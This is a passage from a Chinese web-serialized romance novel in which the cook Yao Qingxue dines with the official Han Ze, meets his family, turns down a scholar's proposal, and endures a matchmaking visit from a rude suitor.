…… 韩泽与姚轻雪对视一眼,嚯,没想到啊,姚家卤味都传到万福楼了。等进了三楼包房,姚轻雪问:“酒楼可以外带吃食吗?” “嗯,有客人想吃别家的东西,可以花钱让跑腿的去买。”韩泽打开回廊侧的窗户,指了指楼下蹲在角落、穿着短打的几名男子。“那些便是跑腿的。” 说话间已有人摆好碗筷,两人刚坐下就有人来敲门,一个小姑娘抱着琵琶进门后行一礼便开始唱曲。韩泽摆了摆手,给了她一块碎银,小姑娘欢天喜地地走了。 唱曲的前脚刚走,店小二进来报菜名。韩泽让她点,姚轻雪没客气点了百味羹、鸡蕈、入炉羊、水晶脍、酥骨鱼,另外点了几样糕点。好不容易来回万福楼她得好好尝尝,自己打算做吃食,必然要了解市场。 小二走后姚轻雪道:“哎呀!会不会点太多了?” “放心,不用你花银子。”韩泽哪里会不知道她的小心思。 那就好,姚轻雪讪笑。等菜间,姚轻雪站在窗边看楼下人流如潮,偌大的酒楼座无虚席,想来韩泽若不是提前预定,这会儿来怕是根本没有位置。 菜上的很快,味道也很不错。 “这里的厨子在京城都是一等一的,与你相比如何?”韩泽给她夹了块羊肉。 羊肉外皮酥脆、肉质鲜嫩、味道香醇,好吃的停不下来。姚轻雪咽下嘴里的羊肉,“各有所长。”她胜在后世的见识和创新,真要和本地大厨比做本地菜,她未必是对手,但也不会差。 见韩泽没怎么动筷子,姚轻雪问:“这么好吃你怎么不吃?” “好吃吗?”韩泽呷了口茶,“也就这样吧。”还没你做的面疙瘩汤、香辣鱼好吃。 姚轻雪无语,这些菜让她来做,未必有人家做的好。“你不会是经常来这儿吧?” “三岁起便随祖父来。”祖父没了,他跟父亲来,万福楼他吃了有小二十年。 姚轻雪终于明白为何他面对如此美味,却提不起半点兴趣了,吃了这么多年,什么好菜都吃腻了。他不吃,自己吃。吃不完打包。“吃不完带走,不会给韩大人您丢脸吧?” “没什么丢脸的。”韩泽笑道,“这些都是咱们花银子买的,可以带走,我也会给曹叔带。” “这就好,嗝、”姚轻雪捂嘴,哎呀,吃太多丢人了。她看向对面,韩大人笑吟吟地看着她。 姚轻雪脸一红,替自己辩解:“都怪大人您不吃,不能浪费我才吃得多了些。” “嗯,是我没有口福。”韩泽就这么认了。姚轻雪心里有一丝喜悦。 韩泽叫来小二结账。姚轻雪看见他给出去五十多两银子。惊得她差点把手里的食盒撇出去。她一年工钱也就够在万福楼吃一顿饭,她好穷啊! 两人正打算离开,包房的门被敲响。韩泽道了声:“进来。” 一名女子款款走来,姚轻雪看了看,面熟,等人走近她突然想起来,这人叫白、白什么来着?她转头,见韩泽脸上不复刚才的笑容。 白婉清与人来万福楼吃茶,偶然瞧见韩泽与那个厨娘进了包房,她想了又想,还是没忍住过来一看。自从上次徐家一别,她已经很久没见过韩泽了。她只想看他一眼便知足了。还有这个厨娘,她终究是骗了自己。 “韩大人!”白婉清声音温柔似水,似有千言万语又欲语还休。 面若桃花、眸中含春的姑娘望过来。然而韩泽不为所动,语气冷冷道:“有事?” 白婉清苦笑:“无事便不能见你一面吗?” 哎呀,此地不宜久留,姚轻雪抱起食盒往外走:“我去外面等。” 韩泽起身,“既然无事,韩某告辞。”他追着姚轻雪出了包房。 姚轻雪回头,见白婉清冷冷地盯着自己,她一缩脖子,好可怕的眼神。 回去的车里姚轻雪看看韩泽,低下头,再抬头看他,三番五次。韩泽揉了揉额头:“有话说。” “哦,那位白姑娘很喜欢你呢,我一个外人都看得出来。”姚轻雪心里不是滋味儿。就像她正在欣赏一朵花,然后突然有人想摘了它。问题在于真要计较起来,她完全不是对手。 “那又如何?”韩泽淡淡道:“喜欢我的人多了去了,难道我都要回应?那我家岂不是比万福楼还要热闹。” 姚轻雪暗暗翻了个白眼,韩大人您可真自信。“她很漂亮,听说是才女,你、你为何不喜欢她呀?” 韩泽嘴角一勾:“想知道?” “嗯嗯。”姚轻雪点头,眼巴巴地看着他。 “你猜。” “……”姚轻雪抱着食盒转过身,她不想理这个男人。 “抱着不累?”韩泽夺了她怀中的食盒放到车上。“容貌或许会成为喜欢一个人的理由,但于我而言,愉快相处更重要。我是个粗人,读书不多,才女于我也是对牛弹琴,不般配。” 以前没有仔细想过,韩泽看了看姚轻雪,现在看他喜欢调皮的、缺心眼儿的。韩大人望向车顶,他这喜好真特别。而白婉清那种——太累。 归根结底还是不够喜欢吧,姚轻雪想。她想问问韩泽喜欢什么样的姑娘?但没好意思开口。 “要不要去逛逛?”韩泽道,“这边晚上很热闹。” 姚轻雪有些心动,她一直忙赚银子 ,夜里都没有出门逛过。不过她看看韩泽的胳膊摇头,“太晚了,算了吧。” 回到家两人各自回房休息。次日吃过早膳,姚轻雪准备出去买菜,刚打开大门就见门外一辆马车上下来一位美妇人。紧接着韩莺从车上下来,后面是一中年男子和八九岁的小姑娘。 “老爷、夫人!”后脚出来的曹叔赶紧过来行礼。 “老曹,少爷伤得那么重?你怎么不回家说一声?”美妇人柳眉微拧,“让你照顾人,你就是这么照顾的?” “都是奴才的错,请夫人责罚。”曹叔心里叫苦,哪是他不说,是少爷不让说。 “好了,你儿子的主意你怪老曹做什么。”韩将军看向姚轻雪,脸上露出和蔼的笑:“我们又见面了。” 姚轻雪一瞧在徐家寿宴上见过此人,竟然是韩泽的父亲!她忙放下篮子,矮身福礼:“见过韩将军!上次不知是将军大人,有失礼之处,望将军莫要怪罪。” “不知者不怪,我儿子多亏你照顾了。” 韩夫人眼神不善地看向姚轻雪:“你就是那个厨娘?” 姚轻雪微顿,听语气似乎对她很不满,“民女姓姚名轻雪,见过夫人,夫人万福!” 韩夫人打量她,粗布衣裙、不施粉黛、发式简单,但面容姣好,若是精心打扮,样貌也算过得去。本想给她个下马威,但眼下看儿子最重要,韩夫人略过姚轻雪径直走向院中。 姚轻雪侧身颔首站立,韩家人陆续进院,走在最后的韩莺对她吐吐舌头。 韩夫人瞧见床上的儿子两边胳膊都绑着布,眼眶瞬间红了,“怎么伤得这么重?” “母亲莫要担心,皮外伤而已。”韩泽对他爹使了个颜色,那意思哄哄。韩少卿最受不了他娘掉眼泪。 韩将军念在儿子有伤,安慰妻子:“他干着那份差事,哪能不受点伤,男儿身上有点伤算什么,别哭了,叫孩子们笑话。” …… 曹叔去灶房烧水,姚轻雪找出茶叶,“曹叔,韩夫人是不是脾气不大好?”韩将军倒是挺和善。 “咱家夫人刀子嘴豆腐心,她说什么你别往心里去。”曹叔往灶膛里填了把柴,“当娘的看见儿子伤那么重,哪个能不着急。” 曹叔看了看门口,悄声说:“老爷夫人还有大小姐你都认识了,小一点的姑娘是小小姐韩娇。韩娇和二少爷韩浩是乔姨娘所生,等会儿若是问你话,你回话时要注意分寸。” “韩将军有妾?”姚轻雪瞪圆了眼。 “这等身份哪个没妾,韩将军算好的,除了夫人就乔姨娘一妾。夫人仁善待庶子庶女甚好,大公子三公子是夫人所生,他们与二公子感情很好,大小姐和小小姐关系也不错。韩家对庶子庶女一视同仁,是京城少有的和睦之家。”曹叔看她一眼,“不要被表象吓着了,相处久了你会发现夫人其实很好。” 听上去韩家家风不错,就是不知纳妾会不会传承? 沏好茶,姚轻雪端去韩泽卧房。屋里人都住了嘴,姚轻雪知道她这个外人不宜在场,放下茶东西行了礼便要离开。 韩莺叫住她:“那个厨娘,我要吃肉脯,你去做。”在家里吃的总觉得味儿不对。 韩夫人刚想阻止,就听儿子厉声道:“韩莺!书都白读了吗?哪个厨娘?大热天她为你准备膳食,你忘了吗?你的规矩和教养呢?” 韩莺缩缩脖子,小声道:“姚厨娘!”她也没说什么啊,至于生这么大气吗? 韩夫人撇嘴,还没进门就护上了,她板着脸道:“你妹妹还小,你凶她做什么?” 韩泽皱眉:“莺儿明年及笄,您还这么由她任性妄为,将来怎么找人家。” “莺儿嫁人用不着你操心,倒是你,那么多名门闺秀你看不上,你到底想怎样?等你伤好了赶紧给我回去成亲。”说完韩夫人去看姚轻雪,打算给她个警告。哪知她一回头,那厨娘已经走到门边了。 韩夫人:“……” 都吵起来了,姚轻雪哪敢多留。至于韩莺要吃肉脯,不好意思她胳膊有伤做不了。有能耐让你哥辞了我呀,姚轻雪腹诽。 韩泽无奈:“娘,时候到了我自然会成亲。”每次见面都谈婚事,他耳朵都要听出茧子了。 “少拿这个搪塞我。”韩夫人冷哼,“受伤不回家,也不告诉我们,要不是你爹进宫,我还不知道你伤这么重。” 韩将军:“孩子伤着呢,你少说几句吧。” “哼,不说他都快把咱们忘了。”韩夫人觉得委屈,眼泪吧嗒吧嗒掉下来。 又掉眼泪,韩泽赶紧认错:“是儿子考虑不周,母亲若是生气打我一顿便是,没有通知家里是不想您和父亲担心。” 见儿子服软,韩夫人微不可查地“哼”了声,没再言语。 “我知母亲为我操碎了心,儿子心里都清楚。”韩泽牵起韩夫人的手,“今后母亲不必再为我相看姑娘,人我自己会选。” 儿子难得对她服软,韩夫人心软了。“你喜欢那厨娘?” 第37章 第37章我的决定不会变 韩泽沉默。 没有回答便是回答,韩将军一拍大腿:“喜欢就把人娶回来,你也老大不小,房里该有个女人了。” “还不行。”姚轻雪牵扯进火器丢失案,陛下才刚给了赏,他这时候把人娶回家,陛下会怎么想?“丢失的火器没着落,此时我不宜成亲。” 韩父以为儿子只是事业心重,劝道:“成亲又不耽搁你在大理寺当差,跟找火器更是两码事。火器的案子我略有所闻,说句不中听的,找不到火器你难道不成亲了?” 韩泽看一眼韩夫人,姚轻雪的事还是别让母亲知道的好。“再等等,现在还不是时候。” 韩父戏谑道:“那你岂不是只能干看着?” “这是当爹的该说的话?”韩夫人嗔了丈夫一眼。 韩振嘟囔:“儿子不小了,有什么不好说的。”是男人就都一样,他儿子已经是晚熟了。 韩夫人:“领回家不是不可以,但以她厨娘的身份嫁入将军府实属高攀,正妻不合适,贵妾到是可以。” 韩泽笑了:“既然娘不急我更不急,五年后再成亲也无妨。” 韩夫人傻眼,刚还说两年后,现在怎么多了三年?“不行,你非要跟我拧着是吧?你当真不把我这个当娘的放在眼里?” 韩莺见娘又要唠叨大哥,等会儿肯定还要哭,她赶紧领着娇娇溜出房间。 家里有客人,姚轻雪和曹叔没出门买菜,两人在灶房喝茶。小方桌上摆着酥油鲍螺、定胜糕、九制芝麻丸。昨晚在万福楼点的,没吃完都让姚轻雪带回来了。曹叔不爱吃这些东西,都是姚轻雪在吃。 “大胆厨娘,有糕点你不端进去,竟然在这里偷吃。”韩莺气因姚轻雪之故被哥哥训,看见她悠哉悠哉地吃点心更气了。 姚轻雪坐着没动,韩莺就是纸老虎,看着凶巴巴实际一点威慑力没有。 曹叔起身赔笑:“大小姐误会了,这些都是昨晚大公子吃剩下的,可不敢给您端上去。” “哥哥吃剩的怕什么,我又不会嫌弃我哥。”韩莺嘟囔。 姚轻雪暗暗翻了个白眼,要说自己吃剩下的,韩莺是不是就嫌弃了?她目光下移见韩莺身侧的小姑娘眼巴巴地看着桌上的糕点,便道:“小姐要尝尝吗?” “嗯,谢谢!”韩娇甜甜地笑了一下,走到桌边拿了一个芝麻丸,然后问:“我可以给我姐姐拿一个吗?” “当然可以。”跟韩莺比,韩家小小姐乖巧多可爱,跟芽芽一般,姚轻雪哪里会拒绝。 韩娇道谢后拿了两个芝麻丸,一个给自己,另一个塞给姐姐。韩莺瞪着姚轻雪。竟然把自己和妹妹区别对待。 “想吃就过来。”姚轻雪把装糕点的盘子往前推了推,这话她是对韩莺说的。 曹叔把座位让出来,又从角落拿出小凳。 “谢谢曹叔!”韩娇道谢后坐到最矮的小凳上,她对姐姐招招手。韩莺不情不愿地坐到妹妹身边。 韩莺傲娇别扭,韩娇大方可爱,看上去姐俩感情不错。姚轻雪拿出新茶具给她们倒茶。“怎么不在屋里待着?” “还不是、”韩莺差点脱口而出还不是因为你,但她及时住口,她不想让姚轻雪太过得意。“对了,听我哥说你 胳膊也受伤了?怎么弄的?” “买菜遇上歹人了。” “好可怕,坏人抓到了吗?”韩娇瞪着圆溜溜的眼睛望向姚轻雪。 “抓到了。”姚轻雪笑着对她道,“你大哥抓的。” “大哥好厉害!”韩娇一脸崇拜。 韩莺骄傲:“那是自然,大哥是大理寺少卿,专抓坏人。” “那姚厨娘你胳膊好了吗?疼不疼?”韩娇担忧地问:“要不你跟大哥回家住吧,回家就有人照顾你们啦。” “娇娇!”韩莺不满,“怎么能随便让人去家里住?” “她不是外人啊。”韩娇无辜道,“姚厨娘受伤了,大哥没饭吃怎么办?” 姚轻雪笑道:“放心吧,我的伤好的差不多了,饿不着你大哥。” “嘿嘿。”韩娇嬉笑,“那你也要注意身体,别累着了,我娘说女孩子一定要好好照顾自己。” 瞧瞧,小姑娘多会说话。人比人气死人,姚轻雪瞥一眼韩莺。后者嫌弃地把吃了一半的定胜糕丢到桌上。这些糕点她都吃腻了,“你会做别的糕点吗?” “会啊。”姚轻雪拍了拍手上的油酥渣子,“我会做你们从来没有吃过的点心。” “真的?”韩莺很期待,“等你伤好了做给我吃。” “看我心情。”姚轻雪皮笑肉不笑,“我哪日高兴就做,不高兴就不做,做了你也未必赶得上。” “你给主子做饭还看心情?”韩莺也是头回见这么狂妄的下人。 姚轻雪不置可否,韩莺嘴贱还贪吃,她不想理罢了,不然哪日给芽芽做零食,给她带一些也不费事。 “姚厨娘等你伤好了可以做给我吃吗?我会出银子的。”韩娇眨着大眼睛一本正经地问。 “好,下次做,让曹叔给你送回去。” 韩莺无语,姚轻雪就是故意气她。“都怪你,表姐定亲了。”表姐彻底放弃她大哥了。 她冷不丁一句话,把姚轻雪弄得满头雾水,“你表姐定亲跟我有什么关系?她又不是跟我定亲。” 韩莺气道:“要不是你跟她说那些话,她也不会跟别人定亲。”跟气人的姚轻雪比起来,她更喜欢温柔的表姐做嫂子。 姜玥瑶很有主见,她去有名望的医馆打听,郎中们说辞不一,虽然没有得到确切答案:表哥表妹不能在一起,但姜玥瑶心中有自己的想法。家中再给她相看人家便不再拒绝,碰到合适的人就定了下来。 韩泽表妹定亲速度之快,令姚轻雪没有想到,不过从这件事上可以看出姜玥瑶是个聪明的姑娘。不较真懂得趋利避害,姚轻雪蛮欣赏这种女孩子的。 三个姑娘在灶房吵吵闹闹,直到韩夫人气呼呼从屋里出来喊人,韩莺和韩娇才离开。 韩泽无奈地看向韩将军:“我的决定不会变,爹您帮着劝劝。” 韩将军看一眼灶房门口的姑娘,满口答应:“行,你娘那边交给我,你这边抓紧时间。” 姚轻雪跟在韩泽身后送韩家人离开,韩娇走之前还从车里探出头来跟她打招呼,“姚厨娘,改天再来看你和大哥!” 等人走后,韩泽笑道:“看来你和娇娇相处得不错。” “娇娇很可爱!”嘴甜乖巧的孩子在哪里都不会惹人厌。 这一耽搁,眼瞧着到巳时中了,姚轻雪提上篮子准备出去买菜。韩泽没让曹叔跟着,他自己要去。 姚轻雪看他:“大人身上有伤,还是在家休息吧。” “没那么娇气。”韩泽不以为意,换了衣服便与姚轻雪出门。 菜市离大理寺不到两刻钟,坐车没用多久就到了。这里从早到晚都有人卖菜卖肉,只是来晚了,想买的东西不一定有。 今日运气不错,竟然让他们碰到卖牛肉的。本朝法令:“宰杀耕牛之人配千里。”牛肉寻常买不到。但若是牛老了、病了、伤了等,经官府允许是可以宰杀售卖的。今日这牛掉进山崖摔断腿,只能宰了卖肉。等他们拿到官府许可,已经到这个时辰了。 碰上一次不容易,姚轻雪想多买些,奈何她没带那么多银子,韩泽干脆连荷包都没带。姚轻雪正在发愁是回家拿钱?还是就此放弃?就听远处有人喊:“韩兄!” 杜淳和来附近办事,听说这里有牛肉卖便驱车来买。他坐车里等车夫买肉,无意间看见韩泽和一姑娘站在人群后。 韩泽快步过来:“来的正好,借我十两银子。”韩泽不怎么吃牛肉,但姚轻雪很想吃的样子,索性多买一些。 杜淳和:“……”见面第一句是借钱。他默默掏出十两银子。 韩泽接了银子转身交给姚轻雪,“都买了吧。”一斤牛肉二百文。 杜淳和走下车:“一头牛最多不过三百斤肉,韩兄你一人就想得五十斤?”韩大人十指不沾阳春水,对菜量没什么概念。 见姚轻雪挤进人群,杜淳很好奇她和韩泽的关系。他在徐家寿宴上见过姚轻雪,知道她是韩泽的厨娘。 要说他俩没事吧,堂堂将军府大公子、大理寺少卿,竟然陪厨娘来菜市。他要不是今日赶上,绝对不会踏足此地。 说他俩有事吧,韩泽神色坦荡,那厨娘衣着朴素,又不像跟了韩泽的样子。这倒是给他弄糊涂了。 “韩兄!”杜淳和凑近了小声问:“韩兄与姚姑娘可是成就了好事?” “莫要乱说。”韩泽板着脸,而后又道:“我这伤能干什么好事。”语气颇有些幽怨。 这算是承认了?杜淳和闻言闷笑,他拍拍好友肩膀:“伤嘛,养养就好了,韩兄莫急。” 不多时姚轻雪拎着一大块肉走来,杜淳和敛去脸上的戏谑,彬彬有礼地对她拱手:“姚姑娘把肉放车上吧,杜某送二位回去。” 姚轻雪看韩泽,后者点头。她便把二十斤牛肉递给车夫。她随韩泽上了马车。路上杜淳和问她买这么多准备怎么吃?两人就此开启话题。 很快太平巷到了。杜淳和没有下车:“韩兄,今日有事不便久留,改日再登门拜访。” 回到家姚轻雪开始处理牛肉。她准备些做牛肉干,能多吃些日子。中午做了花椒茱萸牛肉、香菜拌牛肉和炖牛肉,还有一些用料做了卤牛肉。 忙到太阳落山才把所有牛肉处理好。她刚坐下歇口气,大门被敲响。曹叔开门见是隔壁的书生,“宋公子,好些日子没见您了,可是找我家少爷?” “出门了几日。”宋筠往院里看了看,“请问姚姑娘在吗?” “在的,公子稍等我去叫她。”曹叔以为宋筠又找姚轻雪做膳食,便进去叫人。 姚轻雪来到门外,宋筠见她脸色微红,额上还有汗渍,眼中露出几分心疼。“你还有伤,切莫做太多事情。” “伤好的差不多了。”姚轻雪抬抬胳膊给他看,“公子刚回来吗?” “嗯。”宋筠点点头,他看了看韩泽敞开的房门,“借一步说话。” 宋筠走到两家大门之间的墙下停住脚步,姚轻雪跟了过去。 今日天上无月也无星,两人站在黑暗中,只有韩家院中泻出的烛火照着大门口的方寸之地。 宋筠半晌没有说话,姚轻雪看不清他的脸,“宋公子找我何事?” 宋筠深吸一口气:“轻雪!你可愿随我离开?” 第38章 第38章拒绝宋筠 姚轻雪一愣,随即问道:“宋公子此话何意?” “我要搬去老师家中授学,我想带你过去。待明年春闱后回乡探亲,我便带你回家见父母,征得他们同意,我、我想与你结百年之好。”宋筠一口气把话说完。 今日他说要回太平巷小住两日,老师颇为不满。宋筠清楚大考当前他不能任性,决定明日便搬到老师家中,所以有些话此时不说他怕来不及,更怕被人捷足先登。 姚轻雪没有立刻回答,宋筠看不清她的脸,他的心如同韩家门口 微弱的火光,忽明忽暗,似乎稍有一丝风便彻底覆灭。 良久姚轻雪才道:“宋公子打算娶我为妻?还是做妾?” 没有哪个女人愿做妾,对于姚轻雪的顾虑宋筠早有想过。“父亲母亲若是不允我娶你为妻,我便求得他们同意。” 宋筠的话已经说明他无法娶她为妻了,姚轻雪问道:“以你宋家家世和公子锦绣前程,令尊令堂会同意你娶一个毫无家世背景的厨娘吗?” 宋筠:“事在人为,我会说服父亲母亲,你要相信我。” 姚轻雪又问:“若你父母坚决不同意,你会为了我与他们决裂吗?” 宋筠哑然,他心里清楚这不可能。首先他是宋家长子,要继承家业。另外入朝为官,孝悌是考核标准之一,他如何能与父母决裂? 姚轻雪轻笑:“公子心中已有答案。” 大家族娶妻不是娶这个人,而是娶她的家世、地位和背景,恐怕宋筠自己对婚事都做不了主。有没有感情不重要,男人的感情可以用若干妾室弥补。或许在宋筠内心深处,让她做妾也未尝不可。“我与公子不合适。” “为何?为考科举,我从未近过女色,身边丫鬟都没有,我、我只喜欢你一人。”姚轻雪与他见过的女子不同,不是最美的,却总能勾起他心中的涟漪。第一次动情,便知相思苦。 姚轻雪不想跟他继续纠缠,便直截了当:“即便公子对我有情,但我对公子无意。” “与韩泽有关吗?”宋筠一急,便口不择言。 “我的事与旁人无关。”姚轻雪冷冷道,“我敬重公子,当公子是朋友,从始至终没有其他感情。以前没有、现在没有,以后也不会有。” “跟了我,一生衣食无忧,不用给别人做工。明年春闱,殿试榜单上定会有我宋筠一席之地,我可以给你想要、” “我知道。”姚轻雪打断他,“公子才华过人前途无量,他日必定高官厚禄,但这与我何干?我对公子无意,便不在乎公子前程。给我金山银山我也不稀罕。公子听我一句劝:天涯何处无芳草,我姚轻雪并没有那么好,更不值得你费心,今日之后我将公子视若路人。” 视若路人!宋筠苦笑:“你竟这般绝情。” 不绝如何能让你断了念想。姚轻雪躬身一礼,转身便走。 走到大门口,她好像看见有人影一闪而过,再仔细瞧却什么都没有。姚轻雪松口气,没人就好,让曹叔和韩泽瞧见太尴尬了。 她赶紧关上大门,跑回房间。片刻后韩泽轻手轻脚从房间里走出来,一盏茶后他才听见隔壁院门轻响。韩大人嘴角上勾,才华横溢又如何?前程似锦又怎样?心里没你,哼。不过他家厨娘说与他无关是什么意思? 曹叔见到韩泽在院里站着一动不动,便问:“少爷,您站这干嘛?” “今晚月色很美。”韩泽说完回房了。 月色很美?曹叔抬头望天,天上乌漆墨黑,一个星星都看不见,哪来的月色?少爷伤得是手臂,不是脑子吧? 姚轻雪虽然拒绝了宋筠,但这件事还是影响了她好眠。韩大人却睡得很好,看见他家厨娘眼睛跟兔子似的红红的,“没睡好?有什么烦心事?说来给本少爷听听。”他语气颇为欢快,听着就感觉心情不错的样子。 “无事,夜里水喝多了。”姚轻雪不想理他。 早饭做了牛肉蒸饺,昨晚卤的牛肉可以吃了,韩泽胃口大开,吃了十几个大饺子和半盘卤牛肉。收拾碗筷时,韩大人听见他家厨娘微微叹气,他蹙了蹙眉,心道不会是后悔了吧? 隔壁今早传来搬东西的声响,韩大人怕宋筠那厮再来找,他家厨娘再跟着跑了,便想把人打发走。“牛肉还有剩吗?” “有的,还有二斤生牛肉。”准备中午包饺子的。 韩泽:“连吃两日有些腻了,你送回家去吧,顺便在家住一晚,明日曹叔会去接你。” “多谢大人!”姚轻雪立马来了精神,她收拾灶房的功夫,曹叔已经把马车领到家门口了。 姚轻雪坐上马车到了葫芦巷,曹叔看着她进院才离开。马车行致巷子口时,有两位妇人往巷子里走。 曹叔听见一妇人说:“姚家大孙女样貌出挑,能干得很,姚家有卤味生意。他家就两个丫头,小的那个刚捡回来没多久,还不顶事呢,将来姚家家财都是大孙女的,杜秀才娶她绝对吃不了亏。” “停车。”曹叔叫停马车,撩起帘子问车旁的妇人:“敢问杜秀才是哪家秀才?家住何处?” 两名妇人警惕地看着他:“你问这个做什么?” “两位不要误会,小老儿我想找人代写字画,银钱丰厚,刚听二位认识秀才,这才多嘴一问,若是不方便那就算了。” 见曹叔要放下帘子,一妇人忙道:“城北南华街连双巷的杜秀才,你去找吧,他呀琴棋书画样样精通,找他书写包您满意。” 曹叔连连道谢,坐回马车后心道:少爷吆,您再不抓紧,姚厨娘可要被别人抢走了。十八岁的姑娘可得不起啊。虽然韩泽没有明说,但老曹跟在他身边多年,哪能看不出他那点心思。 姚轻雪刚把肉放进灶房,家里就来人了,她都不认识。奇怪的是刘氏非拉上她寒暄。 杜娘子道:“这就是您孙女,长得可真俏。”她打量的眼神让姚轻雪不自在,说了两句便回了房间。 刘氏紧跟着进来,“我还想下午去找你呢,没想到你竟回来了,正好省得我跑一趟。刚那两人你瞧见了,王婶子是我和你爷卖卤味认识的豆腐娘子,她认识一秀才,那杜娘子便是秀才的娘。杜秀才二十有五,他虽比你大了几岁,但你年纪也不算小,我和你爷觉着合适。你觉得怎么样?” 姚轻雪没有说话,年纪不是问题,二十五岁的秀才,怕是还要继续科举。嫁给这种人岂不是要一直供他读书,那她找男人干什么?为了赚钱给他花? “奶,有功名之人富商之女也娶得,他为何会看上咱家?”以前怎么没有这好事?想来也是看中她家生意才找上门的。 “说是光顾着科考耽搁了婚事,如今年纪大了才不得不考虑。”刘氏又道,“另外他家里不富裕,听说他下面还有弟弟妹妹,人口多了些。但他有功名,将来万一高中,你不是也跟着享福。” 姚轻雪无奈:“奶,万一不中呢?他一辈子只是秀才呢?” 她可不信等他飞黄腾达跟着享福的屁话。男人飞黄腾达多半会抛弃糟糠之妻另娶新欢。况且杜秀才未必有那一日,若是一辈子考不中,她就要供他一辈子,甚至养他全家老小。她脑子进水了才会这么干。 “这、这、”刘氏结巴了,她没有想过这个问题,谁不盼着高中啊。“不能够吧?你别想着不中,要往好了看。” “您跟爷爷年纪都大了,芽芽还小,我走了,不放心你们。”姚轻雪道,“咱家有陛下给的一千了银子,我嫁不嫁人无所谓。” “怎么能无所谓?”刘氏担心孙女犯傻喜欢不该喜欢的人,韩泽的身份和地位是不会娶她的,她板着脸问:“跟奶说实话,你是不是心里有人了?” “奶,您说什么呢,我心里哪有人。”姚轻雪无奈。 刘氏叹气:“奶知道你心高,但咱们的命在这呢,非要往高了爬,跌下来便是粉身碎骨。前街的张晚晴什么下场你瞧见了,奶不想看到你给别人磋磨,宁做贫人妻,不做富人妾,爷爷奶奶就希望你平平安安的。” 张晚晴这片住户都知道,出了名的貌美,舍弃未婚夫进禹王府做妾,有过一个孩子,生产前大出血差点没了命。据说她每日只能待在自己的院子里,不能随意走动,出门都要王妃同意。 前年因为她娘生病,事情紧急张晚晴没有请示王妃便回家探望,差点因为这个被赶出王府。后来不知为何她自缢了,死后一口薄棺草草下葬,下场与府中丫鬟没什么两样。 大家都说张晚晴的那个孩子是正室弄掉的,张晚晴这辈子都不会再有孩子,后来禹王对她也不如从前,而被她舍弃的未婚夫如今儿女双全幸福美满,张晚晴见这辈子无望才不想活了。 姚轻雪有些烦 躁,她并非想攀高枝,只是情不知所起,但仅仅是些许好感,还没到一往情深、非他不可的地步。刘氏有一句话说的对:宁做贫人妻,不做富人妾。 第39章 第39章孔雀开屏 大户人家规矩多,若是为了男人失去自由和快乐,她宁愿不要这个人。一点好感说明不了什么,也许分开后就淡忘了。 “秀才是吧,见见吧。”姚轻雪道。 “这就对了,让杜秀才下午来咱家一趟。刚好你的新衣服做好了,打扮漂漂亮亮的,人家是秀才咱们可不能失了礼。”刘氏对男方的秀才身份很满意。 他们姚家如今也不差,大孙女更是没得说,能干漂亮又孝顺,这一片哪家姑娘都比不上她孙女,若是能嫁个秀才那就更圆满了。刘氏乐呵呵地出去了。 姚轻雪倒在床上,望着屋顶发呆。见过最好的风景,沟渠边上的野草还能入得了眼吗? 偏她眼里揉不得沙子,若是能降心相从,不爱也能闭眼凑合,什么秀才举人,哪个都比不了宋筠,自己终究不是委曲求全的人。见见吧,万一看对眼了呢,缘分这东西谁说得准。 芽芽在门口听姐姐叹气,小姑娘坐在门边,两只小手托着腮帮子也叹气,她不想姐姐嫁人。但姐姐年纪大了,爷爷奶奶说越大越不好嫁,她不明白女孩干嘛非要嫁人呢? 昨晚没怎么睡好,姚轻雪补了个觉。睡醒后便进了灶房,午饭是牛肉馅的饺子、卤牛肉和一盘凉拌菜。 饭菜上桌,几人刚吃了几个饺子,就听院外有人喊:“姚嫂子!” 刘氏嘀咕:“不是说好了下午来吗?怎么这个时辰到了?”她对孙女道:“快回屋把衣服换上,脸上抹抹,头发也梳一梳。” 见姚轻雪没动,刘氏夺了她手里的筷子,“快去,等看完了再吃,饺子还能长腿跑了咋地?芽芽帮你姐打扮去。” 刘氏把孙女推回房间才去开大门。王娘子杜娘子和一个男子站在门外。不用想这位中等个头中等长相的男人便是杜秀才了。看到人的一瞬间刘氏有些失望,外貌不显也就罢了,她在杜秀才脸上看到了不耐烦。 人是她让来的,总得了解了解。刘氏把人让进屋里,姚福也从桌上下来。他们家待客吃饭都在堂屋,如今堂屋桌上摆着饭菜,刘氏便客气地让了让:“午膳用过没?没有就凑合吃一口。” 她就是客气一下,没想让人真吃,再说男方第一次来女方家,也没有坐下吃饭的道理。哪料杜娘子没跟她见外:“我们怕赶不及,老早从家里出来错过了午饭,那就麻烦婶子了。” 说着杜娘子拉着儿子坐到桌边,王娘子尴尬讪笑,但也不好说什么,刘氏有些怔愣,随后请王娘子坐下。她刚想去拿干净的碗筷,就见杜家母子已经用他们的筷子吃上了。 这母子俩跟多久没吃过饭似的,一口一个饺子,一筷子夹三片牛肉,片刻功夫饺子和卤牛肉让他们吃了一半。 王娘子本来还觉得尴尬,但吃了饺子和牛肉后便也顾不上脸面了,再不吃就都让那娘俩吃光了。实在是太香了,这姚家面上看不出来,没想到伙食这么好,牛肉可劲吃。寻常人家谁会一顿吃这么多肉? 刘氏站在一边心里不是滋味,姚福盯着杜秀才看,心里知道这亲事怕是不成了。这杜秀才没有读书人的斯文和矜持,甚至有些没脸,他都看不上眼,孙女如何能看得上? 回房后姚轻雪涂了香粉和口脂,以前家里没有这些,芽芽说奶奶昨日现去买的,看来刘氏为了这次相亲也是下了血本。 姚轻雪换了身粉色纱裙,芽芽也换上了和姐姐同款同色的衣服。姐俩手牵手来到堂屋,看见三人埋头苦吃都愣了。 芽芽两只眼睛都快喷火了,她才吃了一个饺子,怎么就没了?要脸不要脸?姚轻雪也是没想到会是这种情况,杜秀才狼吞虎咽,有人进屋他都没发现。 杜家人不是人品差就是没把他们姚家放在眼里,无论哪一种都没有相看的必要了。姚轻雪对姚福和刘氏摇了摇头,转身要走。 “轻雪啊!”杜娘子终于抬头看见了姚轻雪,她扯了扯儿子,“宏展,那就是轻雪。” 杜宏展抬起头,淡漠的眼神突然有了笑意,他放下筷子拿出帕子擦了擦嘴,然后走到姚轻雪面前拱手一礼。“见过轻雪姑娘,来的匆忙腹中饥饿,失礼了,望莫怪。” 吃完了说失礼,脸皮真厚。姚轻雪似笑非笑地问:“吃饱了吗?” 杜宏展略一迟疑,所问非所答:“可是姑娘的手艺?早就听闻姑娘厨艺了得,今日一尝果然名不虚传。若是余生日日能吃到轻雪的手艺,是杜某的福气。” 